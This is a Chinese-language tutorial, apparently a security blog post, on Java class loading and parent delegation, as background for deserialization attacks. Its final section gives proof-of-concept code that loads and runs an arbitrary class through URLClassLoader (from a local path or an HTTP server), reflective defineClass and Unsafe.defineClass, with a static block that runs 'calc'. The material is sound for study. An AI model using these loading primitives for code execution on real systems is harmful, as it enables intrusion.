# 类加载机制
类加载与反序列化
类加载的时候会执行代码
初始化:静态代码块
实例化:构造代码块 、 构造函数
动态类加载方法
Class.forname
可以初始化也可以不初始化ClassLoader.loadClass
不进行初始化
我们构造一个 Person 类来进行说明
public class Person { | |
private String name; | |
static int age; | |
Person(){ | |
System.out.println("无参构造方法"); | |
} | |
static void staticfunc(){ | |
System.out.println("静态方法"); | |
} | |
static { | |
System.out.println("静态代码块"); | |
} | |
{ | |
System.out.println("构造代码块"); | |
} | |
} |
# 测试
说明实例化的时候都调用了
可以看到,类初始化的时候会加载静态代码块
# Class.forName
可以看到这里调用了静态代码块,跟进去看看
可以看到这里 return 了一个 forName0,跟进看看
这里第一个参数是类名,第二个参数判断是否初始化,第三个参数是类加载器,第四个不重要
再找到了一个重载的 forName
这个就是完整版的,我们尝试不初始化地获取类
这样就不会进行初始化
然后 newInstance
的时候就都加载了
# ClassLoader
这里涉及双亲委派机制
# 双亲委派机制
当某个类加载器需要加载某个
.class
文件时,它首先把这个任务委托给他的上级类加载器,递归这个操作,如果上级的类加载器没有加载,自己才会去加载这个类。# 类加载器的类别
# BootstrapClassLoader(启动类加载器)
c++
编写,加载java
核心库java.*
, 构造ExtClassLoader
和AppClassLoader
。由于引导类加载器涉及到虚拟机本地实现细节,开发者无法直接获取到启动类加载器的引用,所以不允许直接通过引用进行操作# ExtClassLoader (标准扩展类加载器)
java
编写,加载扩展库,如classpath
中的jre
,javax.*
或者java.ext.dir
指定位置中的类,开发者可以直接使用标准扩展类加载器。# AppClassLoader(系统类加载器)
java`编写,加载程序所在的目录,如`user.dir`所在的位置的`class
# CustomClassLoader(用户自定义类加载器)
java
编写,用户自定义的类加载器,可加载指定路径的class
文件
可以看到 ClassLoader.loadClass
不进行初始化,我们跟进去看一看
进入了 AppClassLoader.loadClass
在最后调用其父类的 loadClass
因为其父属性是 ExtClassLoader
,所以就会调用其父属性的 loadClass
, 因为 ExtClassLoader
也没有这个类,所以快进到 Bootstrap
此时这个类的父属性不存在,所以会进入下面的一句进入 Bootstrap
里面寻找这个类,因为这个类是普通类不会在系统中存在,所以也是空,跳到下面
因为这个类的 findClass
是重写的,所以会调用子类 ExtClassLoader
的 findClass
, 跟进
到了 URLClassLoader
,这是因为正常类下 AppClassLoader
与 ExtClassLoader
都是 URLClassLoader
的子类,而 ExtClassLoader
没有 findClass
所以调用了 URLClassLoader.findClass
同样没有找到,返回到下一个 findClass
最终找到了这个类,
并且调用 defineClass
加载这个类
到了 SecureClassLoader.defineClass
跟进
回到了 ClassLoader
,看到 defineClass1
最终在这里加载类
# 利用
# URLClassLoader 任意类加载
利用协议 file:/// 、 http:// 、 jar:/
新建一个 test 类
import java.io.IOException; | |
public class test { | |
static { | |
try { | |
Runtime.getRuntime().exec("calc"); | |
} catch (IOException e) { | |
e.printStackTrace(); | |
} | |
} | |
} |
编译一下,将 test.class 放到 D 盘下
然后将 test.java 删除
然后再 exp 类中这么写
import java.net.URL; | |
import java.net.URLClassLoader; | |
public class exp { | |
public static void main(String[] args) throws Exception { | |
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///D:\\")}); | |
Class<?> test = urlClassLoader.loadClass("test"); | |
test.newInstance(); | |
} | |
} |
执行一下
然后将其放在 web 服务上
import java.net.URL; | |
import java.net.URLClassLoader; | |
public class exp { | |
public static void main(String[] args) throws Exception { | |
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8081/")}); | |
Class<?> test = urlClassLoader.loadClass("test"); | |
test.newInstance(); | |
} | |
} |
# ClassLoader.defineClass 加载
import java.nio.file.Files; | |
import java.nio.file.Paths; | |
public class exp { | |
public static void main(String[] args) throws Exception { | |
ClassLoader classLoader = ClassLoader.getSystemClassLoader(); | |
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); | |
method.setAccessible(true); | |
byte[] code = Files.readAllBytes(Paths.get("D:\\test.class")); | |
Class c = (Class) method.invoke(classLoader, "test", code, 0, code.length); | |
c.newInstance(); | |
} | |
} |
# Unsafe.defineClass 加载
Unsafe 里面也有 defineClass 类,也可以利用
注意, Unsafe 虽然是 public 类但是不能直接生成,不过在 spring 可以直接用
import sun.misc.Unsafe; | |
import java.io.File; | |
import java.lang.reflect.Field; | |
import java.lang.reflect.Method; | |
import java.net.URL; | |
import java.net.URLClassLoader; | |
import java.nio.file.Files; | |
import java.nio.file.Paths; | |
public class exp { | |
public static void main(String[] args) throws Exception { | |
ClassLoader classLoader = ClassLoader.getSystemClassLoader(); | |
byte[] code = Files.readAllBytes(Paths.get("D:\\test.class")); | |
Class c = Unsafe.class; | |
Field theUnsafe = c.getDeclaredField("theUnsafe"); | |
theUnsafe.setAccessible(true); | |
Unsafe unsafe = (Unsafe) theUnsafe.get(null); | |
Class c2 = (Class) unsafe.defineClass("test", code, 0, code.length, classLoader, null); | |
c2.newInstance(); | |
} | |
} |